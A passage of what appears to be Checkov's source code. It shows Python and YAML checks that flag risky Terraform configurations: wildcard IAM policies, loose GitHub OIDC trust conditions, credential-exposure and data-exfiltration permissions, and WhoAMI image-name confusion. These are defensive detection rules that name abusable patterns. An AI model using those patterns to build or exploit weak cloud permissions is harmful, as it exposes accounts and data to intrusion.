_FilePath, root_folder: str, report: Report, scanned_file: str, block_type: str, runner_filter: RunnerFilter, entity_context_path_header: str | None = None, module_referrer: str | None = None, ) -> None: pass def extract_images( self, graph_connector: DiGraph | None = None, definitions: dict[str, dict[str, Any] | list[dict[str, Any]]] | None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None, ) -> list[Image]: if not graph_connector: # should not happen return [] manager = TerraformImageReferencerManager(graph_connector=graph_connector) images = manager.extract_images_from_resources() return images @staticmethod def get_graph_resource_entity_config(entity: dict[str, Any]) -> dict[str, Any]: context_parser = parser_registry.context_parsers[entity[CustomAttributes.BLOCK_TYPE]] entity_config: dict[str, Any] = entity[CustomAttributes.CONFIG] definition_path = context_parser.get_entity_definition_path(entity_config) for path in definition_path: entity_config = entity_config[path] return entity_config ================================================ FILE: checkov/terraform/checks/__init__.py ================================================ ================================================ FILE: checkov/terraform/checks/data/__init__.py ================================================ from checkov.terraform.checks.data.aws import * # noqa from checkov.terraform.checks.data.gcp import * # noqa from checkov.terraform.checks.data.external import * # noqa ================================================ FILE: checkov/terraform/checks/data/aws/AdminPolicyDocument.py ================================================ from typing import Dict, List, Any from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.data.base_check import BaseDataCheck from checkov.common.models.enums import CheckResult, CheckCategories class AdminPolicyDocument(BaseDataCheck): def __init__(self) -> None: name = 'Ensure IAM policies that allow full "*-*" administrative privileges are not created' id = "CKV_AWS_1" supported_data = ["aws_iam_policy_document"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ validates iam policy document https://learn.hashicorp.com/terraform/aws/iam-policy :param conf: aws_kms_key configuration :return: """ for statement in conf.get("statement", []): if not isinstance(statement, list): statement = [statement] for stmt in statement: if ( isinstance(stmt, dict) and stmt.get("effect", ["Allow"]) == ["Allow"] and stmt.get("actions") and "*" in force_list(stmt["actions"][0]) and stmt.get("resources") and "*" in force_list(stmt["resources"][0]) ): return CheckResult.FAILED return CheckResult.PASSED check = AdminPolicyDocument() ================================================ FILE: checkov/terraform/checks/data/aws/GithubActionsOIDCTrustPolicy.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.data.base_check import BaseDataCheck from checkov.common.util.oidc_utils import gh_abusable_claims, gh_repo_regex, gh_sub_condition class GithubActionsOIDCTrustPolicy(BaseDataCheck): def __init__(self): name = "Ensure AWS GitHub Actions OIDC authorization policies only allow safe claims and claim order" id = "CKV_AWS_358" supported_data = ("aws_iam_policy_document",) categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: statements = force_list(conf.get("statement")) for statement in statements: found_federated_gh_oidc = False if isinstance(statement, dict): if statement.get("principals"): principals = statement["principals"] for principal in force_list(principals): if "type" not in principal and "identifiers" not in principal: continue principal_type = principal["type"] principal_identifiers = principal["identifiers"] if ( isinstance(principal_type, list) and len(principal_type) and "Federated" in principal_type and isinstance(principal_identifiers, list) ): for identifier in principal_identifiers: if ( isinstance(identifier, list) and len(identifier) > 0 and identifier[0] is not None and "oidc-provider/token.actions.githubusercontent.com" in identifier[0] ): found_federated_gh_oidc = True break if not found_federated_gh_oidc: return CheckResult.PASSED # By now we know that the statement is a federated GitHub OIDC provider # First check - if the statement is a federated GitHub OIDC provider, it MUST have a condition if found_federated_gh_oidc and not statement.get("condition"): return CheckResult.FAILED found_sub_condition_variable = False found_sub_condition_value = False # It is common to have multiple conditions, so we need to iterate over them for condition in statement.get("condition"): condition_variables = condition.get("variable") condition_values = condition.get("values") if isinstance(condition_variables, list): for condition_variable in condition_variables: if gh_sub_condition.match(condition_variable): found_sub_condition_variable = True break # If we didn't find the sub condition variable, we can skip the rest of the checks if not found_sub_condition_variable: continue if isinstance(condition_values, list): for condition_value in condition_values: if isinstance(condition_value, list): # First -> check if the value is a mere wildcard. If so, it's a fail # This covers the case where the condition is ['sub':'*'] if len(condition_value) == 1 and condition_value[0] == "*": return CheckResult.FAILED # Split the claims by ':' for deeper inspection split_claims = condition_value[0].split(":") # The assertion MUST be of the form ['{claim_name_1}:{claim_value_1}:{claim_name_2}:{claim_value_2}...'] # If the length of the split claims is 1, it means that the assertion is ['sub':'{claim_name}'] - this is a fail if len(split_claims) == 1: return CheckResult.FAILED # Second -> Check if the value is a wildcard assertion # This covers the case where the condition is ['sub':'{claim_name}:*'] if split_claims[1] == "*": return CheckResult.FAILED # Third -> Check if the value is an abusable claim # This covers the case where the condition is ['sub':'{abusable_claim}:{any_value}'] for abusable_claim in gh_abusable_claims: if split_claims[0].startswith(abusable_claim): return CheckResult.FAILED # Fourth -> Check if the value is a repo:org/* -> this is a pass with a warning if split_claims[0] == "repo" and not gh_repo_regex.match(split_claims[1]): return CheckResult.FAILED found_sub_condition_value = True break if found_sub_condition_value and found_sub_condition_variable: return CheckResult.PASSED # Found a federated GitHub user, but no restrictions return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["statement/condition/variable", "statement/condition/values"] check = GithubActionsOIDCTrustPolicy() ================================================ FILE: checkov/terraform/checks/data/aws/IAMCredentialsExposure.py ================================================ from __future__ import annotations from typing import List, Union, Dict, Any, TYPE_CHECKING from checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class CloudSplainingCredentialsExposure(BaseTerraformCloudsplainingDataIAMCheck): excluded_actions = {"ecr:GetAuthorizationToken"} # noqa: CCE003 # a static attribute def __init__(self) -> None: name = "Ensure IAM policies does not allow credentials exposure" id = "CKV_AWS_107" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: return [x for x in policy.credentials_exposure if x not in CloudSplainingCredentialsExposure.excluded_actions] check = CloudSplainingCredentialsExposure() ================================================ FILE: checkov/terraform/checks/data/aws/IAMDataExfiltration.py ================================================ from __future__ import annotations from typing import List, TYPE_CHECKING from checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class CloudSplainingDataExfiltration(BaseTerraformCloudsplainingDataIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow data exfiltration" id = "CKV_AWS_108" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> List[str]: return policy.allows_data_exfiltration_actions check = CloudSplainingDataExfiltration() ================================================ FILE: checkov/terraform/checks/data/aws/IAMManagedAdminPolicy.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.data.base_check import BaseDataCheck ADMIN_POLICY_NAME = "AdministratorAccess" ADMIN_POLICY_ARN = f"arn:aws:iam::aws:policy/{ADMIN_POLICY_NAME}" class IAMManagedAdminPolicy(BaseDataCheck): def __init__(self): # This is the full description of your check description = "Disallow policies from using the AWS AdministratorAccess policy" # This is the Unique ID for your check id = "CKV_AWS_275" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_data = ("aws_iam_policy",) # Valid CheckCategories checkov/common/models/enums.py categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "name" in conf.keys(): if conf.get("name")[0] == ADMIN_POLICY_NAME: self.evaluated_keys = ["name"] return CheckResult.FAILED if "arn" in conf.keys(): if conf.get("arn")[0] == ADMIN_POLICY_ARN: self.evaluated_keys = ["arn"] return CheckResult.FAILED return CheckResult.PASSED check = IAMManagedAdminPolicy() ================================================ FILE: checkov/terraform/checks/data/aws/IAMPermissionsManagement.py ================================================ from __future__ import annotations from typing import List, Dict, Any, Union, TYPE_CHECKING from checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class CloudSplainingPermissionsManagement(BaseTerraformCloudsplainingDataIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow permissions management / resource exposure without constraints" id = "CKV_AWS_109" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: return policy.permissions_management_without_constraints check = CloudSplainingPermissionsManagement() ================================================ FILE: checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py ================================================ from __future__ import annotations from typing import List, Dict, Any, Union, TYPE_CHECKING from checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class CloudSplainingPrivilegeEscalation(BaseTerraformCloudsplainingDataIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow privilege escalation" id = "CKV_AWS_110" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: escalations = policy.allows_privilege_escalation flattened_escalations: list[str] = [] if escalations: for escalation in escalations: if isinstance(escalation, dict): flattened_escalations.extend(escalation.get('actions')) else: flattened_escalations.append(escalation) return flattened_escalations check = CloudSplainingPrivilegeEscalation() ================================================ FILE: checkov/terraform/checks/data/aws/IAMPublicActionsPolicy.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.data.base_check import BaseDataCheck class IAMPublicActionsPolicy(BaseDataCheck): def __init__(self): name = 'Ensure no IAM policies documents allow ALL or any AWS principal permissions to the resource' id = "CKV_AWS_283" supported_data = ["aws_iam_policy_document"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: statements = force_list(conf.get('statement')) for statement in statements: if isinstance(statement, dict): if not statement.get('condition'): # * on Deny is fine if not statement.get('effect') == ["Deny"]: principals = force_list(statement.get('principals')) for principal in principals: if isinstance(principal, dict): principal_type = principal.get('type', [''])[0] principal_identifiers = principal.get('identifiers', []) if principal_type == 'AWS' and principal_identifiers and isinstance(principal_identifiers[0], list) and '*' in principal_identifiers[0]: return CheckResult.FAILED return CheckResult.PASSED check = IAMPublicActionsPolicy() ================================================ FILE: checkov/terraform/checks/data/aws/IAMWriteAccess.py ================================================ from __future__ import annotations from typing import Union, List, Dict, Any, TYPE_CHECKING from checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class CloudSplainingWriteAccess(BaseTerraformCloudsplainingDataIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow write access without constraints" id = "CKV_AWS_111" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: return policy.write_actions_without_constraints check = CloudSplainingWriteAccess() ================================================ FILE: checkov/terraform/checks/data/aws/ResourcePolicyDocument.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class ResourcePolicyDocument(BaseTerraformCloudsplainingDataIAMCheck): def __init__(self) -> None: name = 'Ensure no IAM policies documents allow "*" as a statement\'s resource for restrictable actions' id = "CKV_AWS_356" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str] | list[dict[str, Any]]: return policy.all_allowed_unrestricted_actions check = ResourcePolicyDocument() ================================================ FILE: checkov/terraform/checks/data/aws/StarActionPolicyDocument.py ================================================ from typing import Dict, List, Any from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.data.base_check import BaseDataCheck from checkov.common.models.enums import CheckResult, CheckCategories class StarActionPolicyDocument(BaseDataCheck): def __init__(self) -> None: name = 'Ensure no IAM policies documents allow "*" as a statement\'s actions' id = "CKV_AWS_49" supported_data = ("aws_iam_policy_document",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ validates iam policy document https://learn.hashicorp.com/terraform/aws/iam-policy :param conf: aws_kms_key configuration :return: """ for statements in conf.get("statement", []): statements = force_list(statements) for statement in statements: if ( isinstance(statement, dict) and statement.get("effect", ["Allow"]) in (["Allow"], [None]) and statement.get("actions") and "*" in force_list(statement["actions"][0]) ): # effect: [None] is the default in a TF plan file return CheckResult.FAILED return CheckResult.PASSED check = StarActionPolicyDocument() ================================================ FILE: checkov/terraform/checks/data/aws/WhoAMI.py ================================================ from typing import Dict, Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.data.base_check import BaseDataCheck class WhoAMI(BaseDataCheck): def __init__(self) -> None: name = "Reduce potential for WhoAMI cloud image name confusion attack" id = "CKV_AWS_386" supported_data = ['aws_ami'] categories = [CheckCategories.SUPPLY_CHAIN] super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ Validates AWS AMI configuration to prevent WhoAMI vulnerability by checking for unspecified owners and overly permissive name patterns :param conf: aws_ami data source configuration :return: """ # Check if owners is specified and not empty owners = conf.get("owners", []) if not owners: filters = conf.get("filter", []) if not isinstance(filters, list): filters = [filters] for filter_block in filters: if isinstance(filter_block, dict): # Check name filter specifically if filter_block.get("name", [""])[0] == "name": values = filter_block.get("values")[0] for value in values: # Check for overly permissive patterns if '*' in value or '?' in value: return CheckResult.FAILED return CheckResult.PASSED check = WhoAMI() ================================================ FILE: checkov/terraform/checks/data/aws/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/data/base_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Dict, List, Any from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.data.registry import data_registry class BaseDataCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_data: Iterable[str], guideline: str | None = None, ) -> None: super().__init__(name=name, id=id, categories=categories, supported_entities=supported_data, block_type="data", guideline=guideline) self.supported_data = supported_data data_registry.register(self) def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult: self.entity_type = entity_type if conf.get("count") == [0]: return CheckResult.UNKNOWN return self.scan_data_conf(conf) @abstractmethod def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/terraform/checks/data/base_cloudsplaining_data_iam_check.py ================================================ import fnmatch import logging from abc import ABC from typing import Dict, List, Any, Union from cloudsplaining.scan.policy_document import PolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.data.base_check import BaseDataCheck from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner from checkov.terraform.checks.utils.iam_terraform_document_to_policy_converter import ( convert_terraform_conf_to_iam_policy, ) class BaseTerraformCloudsplainingDataIAMCheck(BaseDataCheck, BaseTerraformCloudsplainingIAMScanner, ABC): def __init__(self, name: str, id: str) -> None: super().__init__(name=name, id=id, categories=[CheckCategories.IAM], supported_data=["aws_iam_policy_document"]) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: return self.scan_conf(conf) @property def cache_key(self) -> str: return self.entity_path def should_scan_conf(self, conf: Dict[str, List[Any]]) -> bool: return "statement" in conf.keys() def convert_to_iam_policy(self, conf: Dict[str, List[Any]]) -> PolicyDocument: converted_conf = convert_terraform_conf_to_iam_policy(conf) return PolicyDocument(converted_conf) def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument, violating_actions: Union[List[str], List[Dict[str, Any]]]) -> None: try: # in case we have violating actions for this policy we start looking for it through the statements for stmt_idx, statement in enumerate(policy.statements): actions = statement.statement.get('Action') # get the actions for this statement if actions: if isinstance(actions, str): for violating_action in violating_actions: if fnmatch.fnmatch(violating_action.lower(), actions.lower()): # found the violating action in our list of actions self.evaluated_keys.append(f"statement/[{stmt_idx}]/actions") return if isinstance(actions, list): for action in actions: # go through the actions of this statement and try to match one violation for violating_action in violating_actions: if isinstance(action, str) and fnmatch.fnmatch(violating_action.lower(), action.lower()): # found the violating action in our list of actions self.evaluated_keys.append(f"statement/[{stmt_idx}]/actions") return except Exception as e: logging.warning(f'Failed enriching cloudsplaining evaluated keys due to: {e}') ================================================ FILE: checkov/terraform/checks/data/base_registry.py ================================================ from typing import Dict, Any, Tuple, List from checkov.common.checks.base_check_registry import BaseCheckRegistry class Registry(BaseCheckRegistry): def extract_entity_details( self, entity: Dict[str, Dict[str, Dict[str, List[Dict[str, Any]]]]] ) -> Tuple[str, str, Dict[str, List[Dict[str, Any]]]]: data_type, data_object = next(iter(entity.items())) data_name, data_configuration = next(iter(data_object.items())) return data_type, data_name, data_configuration ================================================ FILE: checkov/terraform/checks/data/external/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/data/gcp/GooglePolicyIsPrivate.py ================================================ from typing import Dict, List, Any from checkov.terraform.checks.data.base_check import BaseDataCheck from checkov.common.models.enums import CheckResult, CheckCategories class GooglePolicyIsPrivate(BaseDataCheck): def __init__(self) -> None: """ ensure policy defined is not public policy should not set 'allUsers' or 'allAuthenticatedUsers' in the attribute 'member'/'members' """ name = "Ensure IAM policy should not define public access" id = "CKV_GCP_113" supported_data = ("google_iam_policy",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ validates gcp policy """ fails = ["allUsers", "allAuthenticatedUsers"] if conf.get("binding") and isinstance(conf.get("binding"), list): bindings = conf.get("binding") for binding in bindings: if binding.get("members") and isinstance(binding.get("members"), list): members = binding.get("members")[0] for member in members: if member in fails: self.evaluated_keys = ["bindings/[0]/members"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = GooglePolicyIsPrivate() ================================================ FILE: checkov/terraform/checks/data/gcp/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/data/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.terraform.checks.data.base_registry import Registry data_registry = Registry(CheckType.TERRAFORM) ================================================ FILE: checkov/terraform/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml ================================================ metadata: id: "CKV_ALI_1" name: "Alibaba Cloud OSS bucket accessible to public" category: "GENERAL_SECURITY" definition: and: - cond_type: "attribute" resource_types: - "alicloud_oss_bucket" attribute: "acl" operator: "not_within" value: - "public-read" - "public-read-write" - or: - and: - cond_type: "filter" attribute: "resource_type" value: - "alicloud_oss_bucket" operator: "within" - cond_type: "connection" resource_types: - "alicloud_oss_bucket" connected_resource_types: - "alicloud_oss_bucket_acl" operator: "not_exists" - and: - cond_type: "filter" attribute: "resource_type" value: - "alicloud_oss_bucket" operator: "within" - cond_type: "connection" resource_types: - "alicloud_oss_bucket" connected_resource_types: - "alicloud_oss_bucket_acl" operator: "exists" - cond_type: "attribute" resource_types: - "alicloud_oss_bucket_acl" attribute: "acl" operator: "not_within" value: - "public-read" - "public-read-write" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ACMWildcardDomainName.yaml ================================================ metadata: id: "CKV2_AWS_71" name: "Ensure AWS ACM Certificate domain name does not include wildcards" category: "NETWORKING" definition: and: - cond_type: "attribute" resource_types: - "aws_acm_certificate" attribute: "domain_name" operator: "not_contains" value: "*" - or: - cond_type: "attribute" resource_types: - "aws_acm_certificate" attribute: "subject_alternative_names" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_acm_certificate" attribute: "subject_alternative_names.*" operator: "not_contains" value: "*" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml ================================================ metadata: id: "CKV2_AWS_28" name: "Ensure public facing ALB are protected by WAF" category: "NETWORKING" definition: and: - cond_type: filter value: - aws_lb - aws_alb operator: within attribute: resource_type - or: - cond_type: connection operator: exists resource_types: - aws_lb - aws_alb connected_resource_types: - aws_wafv2_web_acl_association - cond_type: connection operator: exists resource_types: - aws_lb - aws_alb connected_resource_types: - aws_wafregional_web_acl_association - cond_type: attribute value: true attribute: internal resource_types: - aws_lb - aws_alb operator: equals - cond_type: attribute resource_types: - aws_lb - aws_alb attribute: load_balancer_type operator: within value: - network - gateway ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml ================================================ metadata: id: "CKV2_AWS_20" name: "Ensure that ALB redirects HTTP requests into HTTPS ones" category: "NETWORKING" definition: and: - cond_type: filter value: - aws_lb - aws_alb operator: within attribute: resource_type - or: - cond_type: connection operator: not_exists resource_types: - aws_lb - aws_alb connected_resource_types: - aws_lb_listener - aws_alb_listener - and: - cond_type: connection operator: exists resource_types: - aws_lb - aws_alb connected_resource_types: - aws_lb_listener - aws_alb_listener - or: - and: - cond_type: attribute attribute: port operator: not_equals value: "80" resource_types: - aws_lb_listener - aws_alb_listener - cond_type: attribute attribute: protocol operator: not_equals value: HTTP resource_types: - aws_lb_listener - aws_alb_listener - and: - cond_type: attribute attribute: port operator: equals value: "80" resource_types: - aws_lb_listener - aws_alb_listener - cond_type: attribute attribute: protocol operator: equals value: "HTTP" resource_types: - aws_lb_listener - aws_alb_listener - cond_type: attribute attribute: default_action.type operator: equals value: "redirect" resource_types: - aws_lb_listener - aws_alb_listener - cond_type: attribute attribute: default_action.redirect.*.port operator: equals value: "443" resource_types: - aws_lb_listener - aws_alb_listener - cond_type: attribute attribute: default_action.redirect.*.protocol operator: equals value: "HTTPS" resource_types: - aws_lb_listener - aws_alb_listener ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml ================================================ metadata: id: "CKV2_AWS_76" name: "Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability" category: "NETWORKING" definition: or: - cond_type: attribute resource_types: - aws_lb - aws_alb attribute: internal operator: is_true - and: - cond_type: filter attribute: resource_type operator: within value: - aws_lb - aws_alb - cond_type: connection resource_types: - aws_lb - aws_alb connected_resource_types: - aws_wafv2_web_acl_association operator: not_exists - and: - cond_type: filter attribute: resource_type operator: within value: - aws_lb - aws_alb - cond_type: connection resource_types: - aws_lb - aws_alb connected_resource_types: - aws_wafv2_web_acl_association operator: exists - cond_type: connection resource_types: - aws_wafv2_web_acl connected_resource_types: - aws_wafv2_web_acl_association operator: exists - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesAnonymousIpList" - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesKnownBadInputsRuleSet" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml ================================================ metadata: id: "CKV2_AWS_7" name: "Ensure that Amazon EMR clusters' security groups are not open to the world" category: "NETWORKING" definition: and: - resource_types: - aws_emr_cluster connected_resource_types: - aws_security_group operator: exists cond_type: connection - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.*.cidr_blocks" operator: "not_contains" value: "0.0.0.0/0" - cond_type: filter attribute: resource_type value: - aws_emr_cluster operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml ================================================ metadata: id: "CKV2_AWS_4" name: "Ensure API Gateway stage have logging level defined as appropriate" category: "LOGGING" definition: and: - resource_types: - aws_api_gateway_stage connected_resource_types: - aws_api_gateway_method_settings operator: exists cond_type: connection - or: - cond_type: "attribute" resource_types: - "aws_api_gateway_method_settings" attribute: "settings.logging_level" operator: "equals" value: "ERROR" - cond_type: "attribute" resource_types: - "aws_api_gateway_method_settings" attribute: "settings.logging_level" operator: "equals" value: "INFO" - cond_type: "attribute" resource_types: - "aws_api_gateway_method_settings" attribute: "settings.metrics_enabled" operator: "equals" value: true - cond_type: filter attribute: resource_type value: - aws_api_gateway_stage operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml ================================================ metadata: id: "CKV2_AWS_51" name: "Ensure AWS API Gateway endpoints uses client certificate authentication" category: "GENERAL_SECURITY" definition: or: - cond_type: "attribute" resource_types: - "aws_api_gateway_stage" attribute: "client_certificate_id" operator: "exists" - cond_type: "attribute" resource_types: - "aws_apigatewayv2_stage" attribute: "client_certificate_id" operator: "exists" - or: - and: - cond_type: filter attribute: resource_type operator: within value: - aws_apigatewayv2_stage - cond_type: "connection" resource_types: - "aws_apigatewayv2_stage" connected_resource_types: - aws_apigatewayv2_api operator: not_exists - and: - cond_type: filter attribute: resource_type operator: within value: - aws_apigatewayv2_stage - cond_type: "connection" resource_types: - "aws_apigatewayv2_stage" connected_resource_types: - aws_apigatewayv2_api operator: exists - cond_type: "attribute" resource_types: - "aws_apigatewayv2_api" attribute: "protocol_type" operator: "not_equals" value: "WEBSOCKET" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/APIGatewayRequestParameterValidationEnabled.yaml ================================================ metadata: id: "CKV2_AWS_53" name: "Ensure AWS API gateway request is validated" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: - "aws_api_gateway_method" attribute: "request_validator_id" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml ================================================ metadata: id: "CKV2_AWS_77" name: "Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability" category: "NETWORKING" definition: or: - and: - cond_type: filter attribute: resource_type operator: within value: - aws_apigatewayv2_api - aws_api_gateway_stage - cond_type: connection resource_types: - aws_apigatewayv2_api - aws_api_gateway_stage connected_resource_types: - aws_wafv2_web_acl_association operator: not_exists - and: - cond_type: filter attribute: resource_type operator: within value: - aws_apigatewayv2_api - aws_api_gateway_stage - cond_type: connection resource_types: - aws_apigatewayv2_api - aws_api_gateway_stage connected_resource_types: - aws_wafv2_web_acl_association operator: exists - cond_type: connection resource_types: - aws_wafv2_web_acl connected_resource_types: - aws_wafv2_web_acl_association operator: exists - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesAnonymousIpList" - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesKnownBadInputsRuleSet" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml ================================================ metadata: id: "CKV2_AWS_29" name: "Ensure public API gateway are protected by WAF" category: "NETWORKING" definition: or: - and: - cond_type: attribute resource_types: - aws_api_gateway_rest_api attribute: endpoint_configuration.types operator: contains value: PRIVATE - resource_types: - aws_api_gateway_rest_api connected_resource_types: - aws_api_gateway_stage operator: exists cond_type: connection - and: - cond_type: attribute resource_types: - aws_api_gateway_rest_api attribute: endpoint_configuration.types operator: contains value: REGIONAL - resource_types: - aws_api_gateway_rest_api connected_resource_types: - aws_api_gateway_stage operator: exists cond_type: connection - resource_types: - aws_api_gateway_stage connected_resource_types: - aws_wafregional_web_acl_association operator: exists cond_type: connection - and: - or: - cond_type: attribute resource_types: - aws_api_gateway_rest_api attribute: endpoint_configuration.types operator: contains value: REGIONAL - cond_type: attribute resource_types: - aws_api_gateway_rest_api attribute: endpoint_configuration.types operator: contains value: EDGE - resource_types: - aws_api_gateway_rest_api connected_resource_types: - aws_api_gateway_stage operator: exists cond_type: connection - resource_types: - aws_api_gateway_stage connected_resource_types: - aws_wafv2_web_acl_association operator: exists cond_type: connection - and: - resource_types: - aws_api_gateway_rest_api connected_resource_types: - aws_api_gateway_stage operator: not_exists cond_type: connection - cond_type: filter value: - aws_api_gateway_stage attribute: resource_type operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml ================================================ metadata: id: "CKV2_AWS_45" name: "Ensure AWS Config recorder is enabled to record all supported resources" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type operator: within value: - aws_config_configuration_recorder_status - cond_type: connection resource_types: - aws_config_configuration_recorder_status connected_resource_types: - aws_config_configuration_recorder operator: exists - cond_type: attribute resource_types: - aws_config_configuration_recorder attribute: recording_group.all_supported operator: not_equals value: "false" - cond_type: attribute resource_types: - aws_config_configuration_recorder_status attribute: is_enabled operator: equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml ================================================ metadata: name: "AWS NAT Gateways should be utilized for the default route" id: "CKV2_AWS_35" guidelines: "This policy identifies Route Tables which have NAT instances for the default route instead of NAT gateways. It is recommended to use NAT gateways as the AWS managed NAT Gateway provides a scalable and resilient method for allowing outbound internet traffic from your private VPC subnets." category: "networking" scope: 